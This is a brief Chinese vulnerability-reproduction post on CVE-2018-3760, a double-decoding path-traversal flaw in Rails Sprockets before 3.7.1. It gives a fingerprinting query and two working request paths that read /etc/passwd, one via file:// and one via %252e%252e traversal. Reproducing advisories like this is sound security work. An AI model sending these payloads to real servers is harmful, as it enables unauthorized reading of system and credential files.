Rails sprockets 任意文件读取漏洞 #CVE-2018-3760

漏洞描述

Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。

Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

漏洞影响

Sprockets < 3.7.1

网络测绘

title=”Ruby On Rails”

漏洞复现

主页面

0c4908e1f9171134

先获取绝对路径

/assets/file:%2f%2f/etc/passwd

34802d3fe8171247

再利用POC读取文件

/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

aab43e6ffc171331

 

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容